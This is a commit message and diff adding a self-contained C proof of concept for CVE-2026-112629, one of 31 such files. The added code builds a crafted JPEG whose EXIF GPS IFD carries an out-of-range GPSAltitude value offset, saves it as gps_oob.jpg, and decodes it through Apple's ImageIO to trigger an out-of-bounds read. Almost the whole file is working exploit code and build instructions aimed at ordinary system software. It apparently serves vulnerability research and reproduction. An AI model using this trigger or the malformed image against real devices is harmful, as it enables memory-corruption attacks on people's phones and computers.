v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112629/CVE-2026-112629.c

@@ -0,0 +1,105 @@
+// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
+// GPS IFD out-of-bounds value offset
+// C twin of the Swift POC: builds the GPS-oob JPEG and decodes it through ImageIO.
+// Build: clang -O2 -o cve-2026-112629 CVE-2026-112629.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
+// Run:   ./cve-2026-112629 [delta]
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// ── byte buffer ──
+typedef struct { uint8_t *d; size_t n, cap; } buf;
+static void bneed(buf *b, size_t extra) {
+    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
+}
+static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
+static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
+static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
+
+static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
+static void be32(buf *b, uint32_t v) {
+    bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
+}
+
+// ── seed construction (from Cinder27 Sources: JPEGPayload.exifGPSOutOfBounds) ──
+static buf jpeg_gps_oob(uint32_t delta) {
+    // big-endian TIFF: IFD0 → GPSInfoIFDPointer → GPS IFD with an out-of-range value offset
+    buf tiff = {0};
+    bcat(&tiff, "MM\x00\x2a", 4);
+    be32(&tiff, 8);                       // IFD0 at 8
+    be16(&tiff, 1);                       // 1 entry
+    be16(&tiff, 0x8825);                  // GPSInfoIFDPointer
+    be16(&tiff, 4);                       // LONG
+    be32(&tiff, 1);
+    be32(&tiff, 26);                      // GPS IFD at 26
+    be32(&tiff, 0);                       // next IFD
+    // GPS IFD: 2 entries
+    be16(&tiff, 2);
+    be16(&tiff, 0x0000);                  // GPSVersionID, BYTE
+    be16(&tiff, 1);                       // count
+    be32(&tiff, 4);
+    bcat(&tiff, "\x02\x03\x00\x00", 4);   // inline value
+    be16(&tiff, 0x0006);                  // GPSAltitude, RATIONAL
+    be16(&tiff, 5);
+    be32(&tiff, 1);
+    be32(&tiff, 26 + 18 + delta);         // value offset far past the blob
+    be32(&tiff, 0);
+
+    buf out = {0};
+    bcat(&out, "\xff\xd8", 2);            // SOI
+    // APP1 "Exif\0\0" + tiff
+    uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
+    bcat(&out, "\xff\xe1", 2);
+    bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
+    bcat(&out, "Exif\x00\x00", 6);
+    bcat(&out, tiff.d, tiff.n);
+    bcat(&out, "\xff\xd9", 2);            // EOI
+    bfree(&tiff);
+    return out;
+}
+
+// ── trigger: decode through ImageIO ──
+#include <ImageIO/ImageIO.h>
+#include <CoreGraphics/CoreGraphics.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+static int decode_image(const buf *img, const char **detail) {
+    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
+    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
+    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
+    CFRelease(cf);
+    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
+    size_t frames = CGImageSourceGetCount(src);
+    // the metadata walk is where GPSCopy::processData reads the oob offset
+    CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
+    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
+    static char r[256];
+    if (cg) {
+        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
+                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
+                 props ? "present" : "absent");
+        CGImageRelease(cg);
+    } else {
+        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
+    }
+    if (props) CFRelease(props);
+    CFRelease(src);
+    *detail = r;
+    return cg ? 0 : -1;
+}
+
+int main(int argc, char **argv) {
+    uint32_t delta = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x10000;
+
+    buf jpeg = jpeg_gps_oob(delta);
+    FILE *f = fopen("gps_oob.jpg", "wb");
+    if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
+
+    const char *detail = NULL;
+    int rc = decode_image(&jpeg, &detail);
+    printf("CVE-2026-112629 · GPSAltitude offset delta +0x%x · %s\n", delta, detail ? detail : "?");
+    printf("seed: gps_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
+    bfree(&jpeg);
+    return rc == 0 ? 0 : 1;
+}